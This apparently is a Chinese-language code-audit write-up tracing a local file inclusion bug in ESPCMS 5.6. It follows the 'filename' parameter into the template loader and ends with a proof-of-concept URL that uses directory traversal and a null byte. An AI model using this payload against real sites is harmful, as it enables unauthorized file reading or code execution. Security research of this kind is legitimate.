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$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
include admin_ROOT . adminfile . "/control/$archive.php";// 包含产生 good nice
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
 exit('错误：系统方法错误！');
}

首先看index.php
02	///省略无关代码
03	$archive = indexget('ac', 'R');  //ac
04	$action = indexget('at', 'R');    //at
05	///省略无关代码
06	if (empty($archive) || empty($action)) {
07	        include admin_ROOT . 'interface/public.php';
08	        $mainlist = new mainpage();
09	        if (method_exists($mainlist, 'in_index')) {
10	                $mainlist->in_index();
11	        } else {
12	                exit('Access error!');
13	        }
14	} else {
15	        if (in_array($archive, array('article', 'forum', 'search', 'bbssearch', 'forummain', 'messmain', 'special', 'respond', 'public', 'scriptout', 'enquiry', 'enquirymain', 'form', 'formmain', 'ordermain', 'membermain', 'member', 'forum', 'order'))) { //强制，首页包含木有了
16	                $action = 'in_' . $action; /in_$ 函数
17	                if (!file_exists(admin_ROOT . "interface/$archive.php")) { //跟进
18	                        exit('Access error!');
19	                }
20	                include admin_ROOT . "interface/$archive.php";
21	                $mainlist = new mainpage();
22	                if (method_exists($mainlist, $action)) {
23	                        $mainlist->$action();
24	                } else {
25	                        exit('Access error!');
26	                }
27	        } else {
28	                exit('Access error!');
29	        }
30	}
31	///省略无关代码
32	跟进到interface/enquity文件
33	///省略无关代码
34	$filename = $this->fun->accept('filename', 'G'); //filename变量
35	                $filename = empty($filename) ? 'list' : $filename;
36	///省略无关代码
37	$output = $this->pagetemplate->fetch($lng . '/lib/' . $filename);  '
38	///省略无关代码
39	///跟进函数库查看
40	        function fetch($tpl_file, $cache_fileID = null, $outHTML = null) {
41	                if (!empty($outHTML)) {
42	                        $out = $this->gettemprequire($outHTML);
43	                        return $out;
44	                }
45	                require_once 'ectemplates_parser.php';
46	 
47	                if ($this->libfile) {
48	                        $tpl_file = $this->templatesDIR . $tpl_file . '.html';  //html
49	                }
50	 
51	                $template_file = $this->tpl_dir . $tpl_file;
52	 
53	                $parsed_file = $this->tpl_c_dir . md5($tpl_file) . '.php';
54	 
55	 
http://127.0.0.1/espcms_utf8_5.6.13.03.14_b/upload/index.php?ac=scriptout&at=list&tid=1&filename=../../../../index.txt%00